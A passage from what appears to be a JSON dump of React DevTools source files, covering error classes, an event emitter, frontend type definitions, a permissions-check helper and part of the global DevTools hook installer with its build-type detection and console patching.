          `[dynamicImportCache] loadModule(\"${moduleLoaderFunction.name}\") catch()`,\n          );\n        }\n\n        if (didTimeout) {\n          return;\n        }\n\n        console.log(error);\n\n        const rejectedThenable: RejectedThenable<Module> = (thenable: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = error;\n\n        wakeRejections();\n      },\n    );\n\n    // Eventually timeout and stop trying to load the module.\n    let timeoutID: null | TimeoutID = setTimeout(function onTimeout() {\n      if (__DEBUG__) {\n        console.log(\n          `[dynamicImportCache] loadModule(\"${moduleLoaderFunction.name}\") onTimeout()`,\n        );\n      }\n\n      timeoutID = null;\n\n      didTimeout = true;\n\n      const rejectedThenable: RejectedThenable<Module> = (thenable: any);\n      rejectedThenable.status = 'rejected';\n      rejectedThenable.reason = null;\n\n      wakeRejections();\n    }, TIMEOUT);\n\n    moduleLoaderFunctionToModuleMap.set(moduleLoaderFunction, record);\n  }\n\n  // $FlowFixMe[underconstrained-implicit-instantiation]\n  const response = readRecord(record);\n  return response;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/errors/ElementPollingCancellationError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class ElementPollingCancellationError extends Error {\n  constructor() {\n    super();\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, ElementPollingCancellationError);\n    }\n\n    this.name = 'ElementPollingCancellationError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/errors/PermissionNotGrantedError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport class PermissionNotGrantedError extends Error {\n  constructor() {\n    super(\"User didn't grant the required permission to perform an action\");\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, PermissionNotGrantedError);\n    }\n\n    this.name = 'PermissionNotGrantedError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/errors/TimeoutError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class TimeoutError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, TimeoutError);\n    }\n\n    this.name = 'TimeoutError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/errors/UnknownHookError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class UnknownHookError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, UnknownHookError);\n    }\n\n    this.name = 'UnknownHookError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/errors/UserError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class UserError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    // Maintains proper stack trace for where our error was thrown (only available on V8)\n    if (Error.captureStackTrace) {\n      Error.captureStackTrace(this, UserError);\n    }\n\n    this.name = 'UserError';\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/events.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport default class EventEmitter<Events: Object> {\n  listenersMap: Map<string, Array<Function>> = new Map();\n\n  addListener<Event: $Keys<Events>>(\n    event: Event,\n    listener: (...Events[Event]) => any,\n  ): void {\n    const listeners = this.listenersMap.get(event);\n    if (listeners === undefined) {\n      this.listenersMap.set(event, [listener]);\n    } else {\n      const index = listeners.indexOf(listener);\n      if (index < 0) {\n        listeners.push(listener);\n      }\n    }\n  }\n\n  emit<Event: $Keys<Events>>(event: Event, ...args: Events[Event]): void {\n    const listeners = this.listenersMap.get(event);\n    if (listeners !== undefined) {\n      if (listeners.length === 1) {\n        // No need to clone or try/catch\n        const listener = listeners[0];\n        listener.apply(null, args);\n      } else {\n        let didThrow = false;\n        let caughtError = null;\n\n        const clonedListeners = Array.from(listeners);\n        for (let i = 0; i < clonedListeners.length; i++) {\n          const listener = clonedListeners[i];\n          try {\n            listener.apply(null, args);\n          } catch (error) {\n            if (caughtError === null) {\n              didThrow = true;\n              caughtError = error;\n            }\n          }\n        }\n\n        if (didThrow) {\n          throw caughtError;\n        }\n      }\n    }\n  }\n\n  removeAllListeners(): void {\n    this.listenersMap.clear();\n  }\n\n  removeListener(event: $Keys<Events>, listener: Function): void {\n    const listeners = this.listenersMap.get(event);\n    if (listeners !== undefined) {\n      const index = listeners.indexOf(listener);\n      if (index >= 0) {\n        listeners.splice(index, 1);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useState, useEffect} from 'react';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\n// Events that are prefixed with `extension` will only be emitted for the browser extension implementation.\n// For other implementations, this hook will just return constant `true` value.\nexport function useExtensionComponentsPanelVisibility(\n  bridge: FrontendBridge,\n): boolean {\n  const [isVisible, setIsVisible] = useState(true);\n\n  useEffect(() => {\n    function onPanelShown() {\n      setIsVisible(true);\n    }\n    function onPanelHidden() {\n      setIsVisible(false);\n    }\n\n    bridge.addListener('extensionComponentsPanelShown', onPanelShown);\n    bridge.addListener('extensionComponentsPanelHidden', onPanelHidden);\n\n    return () => {\n      bridge.removeListener('extensionComponentsPanelShown', onPanelShown);\n      bridge.removeListener('extensionComponentsPanelHidden', onPanelHidden);\n    };\n  }, [bridge]);\n\n  return isVisible;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/frontend/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * WARNING:\n * This file contains types that are designed for React DevTools UI and how it interacts with the backend.\n * They might be used in different versions of DevTools backends.\n * Be mindful of backwards compatibility when making changes.\n */\n\nimport type {\n  Dehydrated,\n  Unserializable,\n} from 'react-devtools-shared/src/hydration';\nimport type {ReactFunctionLocation, ReactStackTrace} from 'shared/ReactTypes';\nimport type {UnknownSuspendersReason} from '../constants';\n\nexport type BrowserTheme = 'dark' | 'light';\n\nexport type Wall = {\n  // `listen` returns the \"unlisten\" function.\n  listen: (fn: Function) => Function,\n  send: (event: string, payload: any, transferable?: Array<any>) => void,\n};\n\n// WARNING\n// The values below are referenced by ComponentFilters (which are saved via localStorage).\n// Do not change them or it will break previously saved user customizations.\n// If new element types are added, use new numbers rather than re-ordering existing ones.\n//\n// Changing these types is also a backwards breaking change for the standalone shell,\n// since the frontend and backend must share the same values-\n// and the backend is embedded in certain environments (like React Native).\nexport const ElementTypeClass = 1;\nexport const ElementTypeContext = 2;\nexport const ElementTypeFunction = 5;\nexport const ElementTypeForwardRef = 6;\nexport const ElementTypeHostComponent = 7;\nexport const ElementTypeMemo = 8;\nexport const ElementTypeOtherOrUnknown = 9;\nexport const ElementTypeProfiler = 10;\nexport const ElementTypeRoot = 11;\nexport const ElementTypeSuspense = 12;\nexport const ElementTypeSuspenseList = 13;\nexport const ElementTypeTracingMarker = 14;\nexport const ElementTypeVirtual = 15;\nexport const ElementTypeViewTransition = 16;\nexport const ElementTypeActivity = 17;\n\n// Different types of elements displayed in the Elements tree.\n// These types may be used to visually distinguish types,\n// or to enable/disable certain functionality.\nexport type ElementType =\n  | 1\n  | 2\n  | 5\n  | 6\n  | 7\n  | 8\n  | 9\n  | 10\n  | 11\n  | 12\n  | 13\n  | 14\n  | 15\n  | 16\n  | 17;\n\n// WARNING\n// The values below are referenced by ComponentFilters (which are saved via localStorage).\n// Do not change them or it will break previously saved user customizations.\n// If new filter types are added, use new numbers rather than re-ordering existing ones.\nexport const ComponentFilterElementType = 1;\nexport const ComponentFilterDisplayName = 2;\nexport const ComponentFilterLocation = 3;\nexport const ComponentFilterHOC = 4;\nexport const ComponentFilterEnvironmentName = 5;\nexport const ComponentFilterActivitySlice = 6;\n\nexport type ComponentFilterType = 1 | 2 | 3 | 4 | 5 | 6;\n\n// Hide all elements of types in this Set.\n// We hide host components only by default.\nexport type ElementTypeComponentFilter = {\n  isEnabled: boolean,\n  type: 1,\n  value: ElementType,\n};\n\n// Hide all elements with displayNames or paths matching one or more of the RegExps in this Set.\n// Path filters are only used when elements include debug source location.\nexport type RegExpComponentFilter = {\n  isEnabled: boolean,\n  isValid: boolean,\n  type: 2 | 3,\n  value: string,\n};\n\nexport type BooleanComponentFilter = {\n  isEnabled: boolean,\n  isValid: boolean,\n  type: 4,\n};\n\nexport type EnvironmentNameComponentFilter = {\n  isEnabled: boolean,\n  isValid: boolean,\n  type: 5,\n  value: string,\n};\n\nexport type ActivitySliceFilter = {\n  type: 6,\n  activityID: Element['id'],\n  rendererID: number,\n  isValid: boolean,\n  isEnabled: boolean,\n};\n\nexport type ComponentFilter =\n  | BooleanComponentFilter\n  | ElementTypeComponentFilter\n  | RegExpComponentFilter\n  | EnvironmentNameComponentFilter\n  | ActivitySliceFilter;\n\nexport type HookName = string | null;\n// Map of hook source (\"<filename>:<line-number>:<column-number>\") to name.\n// Hook source is used instead of the hook itself because the latter is not stable between element inspections.\n// We use a Map rather than an Array because of nested hooks and traversal ordering.\nexport type HookSourceLocationKey = string;\nexport type HookNames = Map<HookSourceLocationKey, HookName>;\n\nexport type LRUCache<K, V> = {\n  del: (key: K) => void,\n  get: (key: K) => V,\n  has: (key: K) => boolean,\n  reset: () => void,\n  set: (key: K, value: V) => void,\n};\n\nexport type StyleXPlugin = {\n  sources: Array<string>,\n  resolvedStyles: Object,\n};\n\nexport type Plugins = {\n  stylex: StyleXPlugin | null,\n};\n\nexport const StrictMode = 1;\nexport const ActivityHiddenMode = 2;\nexport const ActivityVisibleMode = 3;\n\n// Each element on the frontend corresponds to an ElementID (e.g. a Fiber) on the backend.\n// Some of its information (e.g. id, type, displayName) come from the backend.\n// Other bits (e.g. weight and depth) are computed on the frontend for windowing and display purposes.\n// Elements are updated on a push basis– meaning the backend pushes updates to the frontend when needed.\nexport type Element = {\n  id: number,\n  parentID: number,\n  children: Array<number>,\n  type: ElementType,\n  displayName: string | null,\n  key: number | string | null,\n  nameProp: null | string,\n\n  hocDisplayNames: null | Array<string>,\n\n  // Should the elements children be visible in the tree?\n  isCollapsed: boolean,\n\n  // Owner (if available)\n  ownerID: number,\n\n  // How many levels deep within the tree is this element?\n  // This determines how much indentation (left padding) should be used in the Elements tree.\n  depth: number,\n\n  // How many nodes (including itself) are below this Element within the tree.\n  // This property is used to quickly determine the total number of Elements,\n  // and the Element at any given index (for windowing purposes).\n  weight: number,\n\n  // This element is not in a StrictMode compliant subtree.\n  // Only true for React versions supporting StrictMode.\n  isStrictModeNonCompliant: boolean,\n\n  // Whether this Activity element has mode=\"hidden\".\n  isActivityHidden: boolean,\n\n  // Whether this element is inside a hidden Activity subtree.\n  isInsideHiddenActivity: boolean,\n\n  // If component is compiled with Forget, the backend will send its name as Forget(...)\n  // Later, on the frontend side, we will strip HOC names and Forget prefix.\n  compiledWithForget: boolean,\n};\n\nexport type Rect = {\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n};\n\nexport type SuspenseTimelineStep = {\n  /**\n   * The first step is either a host root (initial paint) or Activity (Transition).\n   * Subsequent steps are always Suspense nodes.\n   */\n  id: SuspenseNode['id'] | Element['id'], // TODO: Will become a group.\n  environment: null | string,\n  rendererID: number,\n  endTime: number,\n};\n\nexport type SuspenseNode = {\n  id: Element['id'],\n  parentID: SuspenseNode['id'] | 0,\n  children: Array<SuspenseNode['id']>,\n  name: string | null,\n  rects: null | Array<Rect>,\n  hasUniqueSuspenders: boolean,\n  isSuspended: boolean,\n  environments: Array<string>,\n  endTime: number,\n};\n\n// Serialized version of ReactIOInfo\nexport type SerializedIOInfo = {\n  name: string,\n  description: string,\n  start: number,\n  end: number,\n  byteSize: null | number,\n  value: null | Promise<mixed>,\n  env: null | string,\n  owner: null | SerializedElement,\n  stack: null | ReactStackTrace,\n};\n\n// Serialized version of ReactAsyncInfo\nexport type SerializedAsyncInfo = {\n  awaited: SerializedIOInfo,\n  env: null | string,\n  owner: null | SerializedElement,\n  stack: null | ReactStackTrace,\n};\n\nexport type SerializedElement = {\n  displayName: string | null,\n  id: number,\n  key: number | string | null,\n  env: null | string,\n  stack: null | ReactStackTrace,\n  hocDisplayNames: Array<string> | null,\n  compiledWithForget: boolean,\n  type: ElementType,\n};\n\nexport type OwnersList = {\n  id: number,\n  owners: Array<SerializedElement> | null,\n};\n\nexport type InspectedElementResponseType =\n  | 'error'\n  | 'full-data'\n  | 'hydrated-path'\n  | 'no-change'\n  | 'not-found';\n\nexport type InspectedElementPath = Array<string | number>;\n\nexport type InspectedElement = {\n  id: number,\n\n  // Does the current renderer support editable hooks and function props?\n  canEditHooks: boolean,\n  canEditFunctionProps: boolean,\n\n  // Does the current renderer support advanced editing interface?\n  canEditHooksAndDeletePaths: boolean,\n  canEditHooksAndRenamePaths: boolean,\n  canEditFunctionPropsDeletePaths: boolean,\n  canEditFunctionPropsRenamePaths: boolean,\n\n  // Is this Error, and can its value be overridden now?\n  isErrored: boolean,\n  canToggleError: boolean,\n\n  // Is this Suspense, and can its value be overridden now?\n  canToggleSuspense: boolean,\n  // If this Element is suspended. Currently only set on Suspense boundaries.\n  isSuspended: boolean | null,\n\n  // Does the component have legacy context attached to it.\n  hasLegacyContext: boolean,\n\n  // Inspectable properties.\n  context: Object | null,\n  hooks: Object | null,\n  props: Object | null,\n  state: Object | null,\n  key: number | string | null,\n  errors: Array<[string, number]>,\n  warnings: Array<[string, number]>,\n\n  // Things that suspended this Instances\n  suspendedBy: Object,\n  // Minimum start time to maximum end time + a potential (not actual) throttle, within the nearest boundary.\n  suspendedByRange: null | [number, number],\n  unknownSuspenders: UnknownSuspendersReason,\n\n  // List of owners\n  owners: Array<SerializedElement> | null,\n\n  // Environment name that this component executed in or null for the client\n  env: string | null,\n\n  // Location of component in source code.\n  source: ReactFunctionLocation | null,\n\n  // The location of the JSX creation.\n  stack: ReactStackTrace | null,\n\n  type: ElementType,\n\n  // Meta information about the root this element belongs to.\n  rootType: string | null,\n\n  // Meta information about the renderer that created this element.\n  rendererPackageName: string | null,\n  rendererVersion: string | null,\n\n  // UI plugins/visualizations for the inspected element.\n  plugins: Plugins,\n\n  // React Native only.\n  nativeTag: number | null,\n};\n\n// TODO: Add profiling type\n\ntype Data =\n  | string\n  | Dehydrated\n  | Unserializable\n  | Array<Dehydrated>\n  | Array<Unserializable>\n  | {[string]: Data};\n\nexport type DehydratedData = {\n  cleaned: Array<Array<string | number>>,\n  data: Data,\n  unserializable: Array<Array<string | number>>,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {PermissionNotGrantedError} from 'react-devtools-shared/src/errors/PermissionNotGrantedError';\n\ntype SupportedPermission = 'clipboardWrite';\ntype Permissions = Array<SupportedPermission>;\ntype PermissionsOptions = {permissions: Permissions};\n\n// browser.permissions is not available for DevTools pages in Firefox\n// https://bugzilla.mozilla.org/show_bug.cgi?id=1796933\n// We are going to assume that requested permissions are not optional.\nexport function withPermissionsCheck<T: (...$ReadOnlyArray<empty>) => mixed>(\n  options: PermissionsOptions,\n  callback: T,\n): T | (() => Promise<ReturnType<T>>) {\n  if (!__IS_CHROME__ && !__IS_EDGE__) {\n    return callback;\n  } else {\n    return async () => {\n      const granted = await chrome.permissions.request(options);\n      if (granted) {\n        return callback();\n      }\n\n      return Promise.reject(new PermissionNotGrantedError());\n    };\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hook.js",
    "content": "/**\n * Install the hook on window, which is an event emitter.\n * Note: this global hook __REACT_DEVTOOLS_GLOBAL_HOOK__ is a de facto public API.\n * It's especially important to avoid creating direct dependency on the DevTools Backend.\n * That's why we still inline the whole event emitter implementation,\n * the string format implementation, and part of the console implementation here.\n *\n * @flow\n */\n\nimport type {\n  DevToolsHook,\n  Handler,\n  ReactRenderer,\n  RendererID,\n  RendererInterface,\n  DevToolsBackend,\n  DevToolsHookSettings,\n  ProfilingSettings,\n  ReactBuildType,\n} from './backend/types';\nimport type {ComponentFilter} from './frontend/types';\n\nimport {\n  FIREFOX_CONSOLE_DIMMING_COLOR,\n  ANSI_STYLE_DIMMING_TEMPLATE,\n  ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK,\n} from 'react-devtools-shared/src/constants';\nimport attachRenderer from './attachRenderer';\nimport formatConsoleArguments from 'react-devtools-shared/src/backend/utils/formatConsoleArguments';\nimport formatWithStyles from 'react-devtools-shared/src/backend/utils/formatWithStyles';\n\n// React's custom built component stack strings match \"\\s{4}in\"\n// Chrome's prefix matches \"\\s{4}at\"\nconst PREFIX_REGEX = /\\s{4}(in|at)\\s{1}/;\n// Firefox and Safari have no prefix (\"\")\n// but we can fallback to looking for location info (e.g. \"foo.js:12:345\")\nconst ROW_COLUMN_NUMBER_REGEX = /:\\d+:\\d+(\\n|$)/;\n\nfunction isStringComponentStack(text: string): boolean {\n  return PREFIX_REGEX.test(text) || ROW_COLUMN_NUMBER_REGEX.test(text);\n}\n\n// We add a suffix to some frames that older versions of React didn't do.\n// To compare if it's equivalent we strip out the suffix to see if they're\n// still equivalent. Similarly, we sometimes use [] and sometimes () so we\n// strip them to for the comparison.\nconst frameDiffs = / \\(\\<anonymous\\>\\)$|\\@unknown\\:0\\:0$|\\(|\\)|\\[|\\]/gm;\nfunction areStackTracesEqual(a: string, b: string): boolean {\n  return a.replace(frameDiffs, '') === b.replace(frameDiffs, '');\n}\n\nconst targetConsole: Object = console;\n\nconst defaultProfilingSettings: ProfilingSettings = {\n  recordChangeDescriptions: false,\n  recordTimeline: false,\n};\n\nexport function installHook(\n  target: any,\n  componentFiltersOrComponentFiltersPromise:\n    | Array<ComponentFilter>\n    | Promise<Array<ComponentFilter>>,\n  maybeSettingsOrSettingsPromise?:\n    | DevToolsHookSettings\n    | Promise<DevToolsHookSettings>,\n  shouldStartProfilingNow: boolean = false,\n  profilingSettings: ProfilingSettings = defaultProfilingSettings,\n): DevToolsHook | null {\n  if (target.hasOwnProperty('__REACT_DEVTOOLS_GLOBAL_HOOK__')) {\n    return null;\n  }\n\n  function detectReactBuildType(renderer: ReactRenderer): ReactBuildType {\n    try {\n      if (typeof renderer.version === 'string') {\n        // React DOM Fiber (16+)\n        if (renderer.bundleType > 0) {\n          // This is not a production build.\n          // We are currently only using 0 (PROD) and 1 (DEV)\n          // but might add 2 (PROFILE) in the future.\n          return 'development';\n        }\n\n        // React 16 uses flat bundles. If we report the bundle as production\n        // version, it means we also minified and envified it ourselves.\n        return 'production';\n        // Note: There is still a risk that the CommonJS entry point has not\n        // been envified or uglified. In this case the user would have *both*\n        // development and production bundle, but only the prod one would run.\n        // This would be really bad. We have a separate check for this because\n        // it happens *outside* of the renderer injection. See `checkDCE` below.\n      }\n\n      // $FlowFixMe[method-unbinding]\n      const toString = Function.prototype.toString;\n      if (renderer.Mount && renderer.Mount._renderNewRootComponent) {\n        // React DOM Stack\n        const renderRootCode = toString.call(\n          renderer.Mount._renderNewRootComponent,\n        );\n        // Filter out bad results (if that is even possible):\n        if (renderRootCode.indexOf('function') !== 0) {\n          // Hope for the best if we're not sure.\n          return 'production';\n        }\n        // Check for React DOM Stack < 15.1.0 in development.\n        // If it contains \"storedMeasure\" call, it's wrapped in ReactPerf (DEV only).\n        // This would be true even if it's minified, as method name still matches.\n        if (renderRootCode.indexOf('storedMeasure') !== -1) {\n          return 'development';\n        }\n        // For other versions (and configurations) it's not so easy.\n        // Let's quickly exclude proper production builds.\n        // If it contains a warning message, it's either a DEV build,\n        // or an PROD build without proper dead code elimination.\n        if (renderRootCode.indexOf('should be a pure function') !== -1) {\n          // Now how do we tell a DEV build from a bad PROD build?\n          // If we see NODE_ENV, we're going to assume this is a dev build\n          // because most likely it is referring to an empty shim.\n          if (renderRootCode.indexOf('NODE_ENV') !== -1) {\n            return 'development';\n          }\n          // If we see \"development\", we're dealing with an envified DEV build\n          // (such as the official React DEV UMD).\n          if (renderRootCode.indexOf('development') !== -1) {\n            return 'development';\n          }\n          // I've seen process.env.NODE_ENV !== 'production' being smartly\n          // replaced by `true` in DEV by Webpack. I don't know how that\n          // works but we can safely guard against it because `true` was\n          // never used in the function source since it was written.\n          if (renderRootCode.indexOf('true') !== -1) {\n            return 'development';\n          }\n          // By now either it is a production build that has not been minified,\n          // or (worse) this is a minified development build using non-standard\n          // environment (e.g. \"staging\"). We're going to look at whether\n          // the function argument name is mangled:\n          if (\n            // 0.13 to 15\n            renderRootCode.indexOf('nextElement') !== -1 ||\n            // 0.12\n            renderRootCode.indexOf('nextComponent') !== -1\n          ) {\n            // We can't be certain whether this is a development build or not,\n            // but it is definitely unminified.\n            return 'unminified';\n          } else {\n            // This is likely a minified development build.\n            return 'development';\n          }\n        }\n        // By now we know that it's envified and dead code elimination worked,\n        // but what if it's still not minified? (Is this even possible?)\n        // Let's check matches for the first argument name.\n        if (\n          // 0.13 to 15\n          renderRootCode.indexOf('nextElement') !== -1 ||\n          // 0.12\n          renderRootCode.indexOf('nextComponent') !== -1\n        ) {\n          return 'unminified';\n        }\n        // Seems like we're using the production version.\n        // However, the branch above is Stack-only so this is 15 or earlier.\n        return 'outdated';\n      }\n    } catch (err) {\n      // Weird environments may exist.\n      // This code needs a higher fault tolerance\n      // because it runs even with closed DevTools.\n      // TODO: should we catch errors in all injected code, and not just this part?\n    }\n    return 'production';\n  }\n\n  function checkDCE(fn: Function) {\n    // This runs for production versions of React.\n    // Needs to be super safe.\n    try {\n      // $FlowFixMe[method-unbinding]\n      const toString = Function.prototype.toString;\n      const code = toString.call(fn);\n\n      // This is a string embedded in the passed function under DEV-only\n      // condition. However the function executes only in PROD. Therefore,\n      // if we see it, dead code elimination did not work.\n      if (code.indexOf('^_^') > -1) {\n        // Remember to report during next injection.\n        hasDetectedBadDCE = true;\n\n        // Bonus: throw an exception hoping that it gets picked up by a reporting system.\n        // Not synchronously so that it doesn't break the calling code.\n        setTimeout(function () {\n          throw new Error(\n            'React is running in production mode, but dead code ' +\n              'elimination has not been applied. Read how to correctly ' +\n              'configure React for production: ' +\n              'https://react.dev/link/perf-use-production-build',\n          );\n        });\n      }\n    } catch (err) {}\n  }\n\n  // TODO: isProfiling should be stateful, and we should update it once profiling is finished\n  const isProfiling = shouldStartProfilingNow;\n  let uidCounter = 0;\n  function inject(renderer: ReactRenderer): number {\n    const id = ++uidCounter;\n    renderers.set(id, renderer);\n\n    const reactBuildType: ReactBuildType = hasDetectedBadDCE\n      ? 'deadcode'\n      : detectReactBuildType(renderer);\n\n    hook.emit('renderer', {\n      id,\n      renderer,\n      reactBuildType,\n    });\n\n    const rendererInterface = attachRenderer(\n      hook,\n      id,\n      renderer,\n      target,\n      isProfiling,\n      profilingSettings,\n      componentFiltersOrComponentFiltersPromise,\n    );\n    if (rendererInterface != null) {\n      hook.rendererInterfaces.set(id, rendererInterface);\n      hook.emit('renderer-attached', {id, rendererInterface});\n    } else {\n      hook.hasUnsupportedRendererAttached = true;\n      hook.emit('unsupported-renderer-version');\n    }\n\n    return id;\n  }\n\n  let hasDetectedBadDCE = false;\n\n  function sub(event: string, fn: Handler) {\n    hook.on(event, fn);\n    return () => hook.off(event, fn);\n  }\n\n  function on(event: string, fn: Handler) {\n    if (!listeners[event]) {\n      listeners[event] = [];\n    }\n    listeners[event].push(fn);\n  }\n\n  function off(event: string, fn: Handler) {\n    if (!listeners[event]) {\n      return;\n    }\n    const index = listeners[event].indexOf(fn);\n    if (index !== -1) {\n      listeners[event].splice(index, 1);\n    }\n    if (!listeners[event].length) {\n      delete listeners[event];\n    }\n  }\n\n  function emit(event: string, data: any) {\n    if (listeners[event]) {\n      listeners[event].map(fn => fn(data));\n    }\n  }\n\n  function getFiberRoots(rendererID: RendererID) {\n    const roots = fiberRoots;\n    if (!roots[rendererID]) {\n      roots[rendererID] = new Set();\n    }\n    return roots[rendererID];\n  }\n\n  function onCommitFiberUnmount(rendererID: RendererID, fiber: any) {\n    const rendererInterface = rendererInterfaces.get(rendererID);\n    if (rendererInterface != null) {\n      rendererInterface.handleCommitFiberUnmount(fiber);\n    }\n  }\n\n  function onCommitFiberRoot(\n    rendererID: RendererID,\n    root: any,\n    priorityLevel: void | number,\n  ) {\n    const mountedRoots = hook.getFiberRoots(rendererID);\n    const current = root.current;\n    const isKnownRoot = mountedRoots.has(root);\n    const isUnmounting =\n      current.memoizedState == null || current.memoizedState.element == null;\n\n    // Keep track of mounted roots so we can hydrate when DevTools connect.\n    if (!isKnownRoot && !isUnmounting) {\n      mountedRoots.add(root);\n    } else if (isKnownRoot && isUnmounting) {\n      mountedRoots.delete(root);\n    }\n    const rendererInterface = rendererInterfaces.get(rendererID);\n    if (rendererInterface != null) {\n      rendererInterface.handleCommitFiberRoot(root, priorityLevel);\n    }\n  }\n\n  function onPostCommitFiberRoot(rendererID: RendererID, root: any) {\n    const rendererInterface = rendererInterfaces.get(rendererID);\n    if (rendererInterface != null) {\n      rendererInterface.handlePostCommitFiberRoot(root);\n    }\n  }\n\n  let isRunningDuringStrictModeInvocation = false;\n  function setStrictMode(rendererID: RendererID, isStrictMode: boolean) {\n    isRunningDuringStrictModeInvocation = isStrictMode;\n\n    if (isStrictMode) {\n      patchConsoleForStrictMode();\n    } else {\n      unpatchConsoleForStrictMode();\n    }\n  }\n\n  const unpatchConsoleCallbacks = [];\n  // For StrictMode we patch console once we are running in StrictMode and unpatch right after it\n  // So patching could happen multiple times during the runtime\n  // Notice how we don't patch error or warn methods, because they are already patched in patchConsoleForErrorsAndWarnings\n  // This will only happen once, when hook is installed\n  function patchConsoleForStrictMode() {\n    // Don't patch console in case settings were not injected\n    if (!hook.settings) {\n      return;\n    }\n\n    // Don't patch twice\n    if (unpatchConsoleCallbacks.length > 0) {\n      return;\n    }\n\n    // At this point 'error', 'warn', and 'trace' methods are already patched\n    // by React DevTools hook to append component stacks and other possible features.\n    const consoleMethodsToOverrideForStrictMode = [\n      'group',\n      'groupCollapsed',\n      'info',\n      'log',\n    ];\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const method of consoleMethodsToOverrideForStrictMode) {\n      const originalMethod = targetConsole[method];\n      const overrideMethod: (...args: Array<any>) => void = (\n        ...args: any[]\n      ) => {\n        const settings = hook.settings;\n        // Something unexpected happened, fallback to just printing the console message.\n        if (settings == null) {\n          originalMethod(...args);\n          return;\n        }\n\n        if (settings.hideConsoleLogsInStrictMode) {\n          return;\n        }\n\n        if (settings.disableSecondConsoleLogDimmingInStrictMode) {\n          // Don't dim the console logs\n          originalMethod(...args);\n        } else {\n          // Dim the text color of the double logs if we're not hiding them.\n          // Firefox doesn't support ANSI escape sequences\n          if (__IS_FIREFOX__) {\n            originalMethod(\n              ...formatWithStyles(args, FIREFOX_CONSOLE_DIMMING_COLOR),\n            );\n          } else {\n            originalMethod(\n              ANSI_STYLE_DIMMING_TEMPLATE,\n              ...formatConsoleArguments(...args),\n            );\n          }\n        }\n      };\n\n      targetConsole[method] = overrideMethod;\n      unpatchConsoleCallbacks.push(() => {\n        targetConsole[method] = originalMethod;\n      });\n    }\n  }\n\n  function unpatchConsoleForStrictMode() {\n    unpatchConsoleCallbacks.forEach(callback => callback());\n    unpatchConsoleCallbacks.length = 0;\n  }\n\n  type StackFrameString = string;\n\n  const openModuleRangesStack: Array<StackFrameString> = [];\n  const moduleRanges: Array<[StackFrameString, StackFrameString]> = [];\n\n  function getTopStackFrameString(error: Error): StackFrameString | null {\n    const frames = error.stack.split('\\n');\n    const frame = frames.length > 1 ? frames[1] : null;\n    return frame;\n  }\n\n  function getInternalModuleRanges(): Array<\n    [StackFrameString, StackFrameString],\n  > {\n    return moduleRanges;\n  }\n\n  function registerInternalModuleStart(error: Error) {\n    const startStackFrame = getTopStackFrameString(error);\n    if (startStackFrame !== null) {\n      openModuleRangesStack.push(startStackFrame);\n    }\n  }\n\n  function registerInternalModuleStop(error: Error) {\n    if (openModuleRangesStack.length > 0) {\n      const startStackFrame = openModuleRangesStack.pop();\n      const stopStackFrame = getTopStackFrameString(error);\n      if (stopStackFrame !== null) {\n        // $FlowFixMe[incompatible-call]\n        moduleRanges.push([startStackFrame, stopStackFrame]);\n      }\n    }\n  }\n\n  // For Errors and Warnings we only patch console once\n  function patchConsoleForErrorsAndWarnings() {\n    // Don't patch console in case settings were not injected\n    if (!hook.settings) {\n      return;\n    }\n\n    const 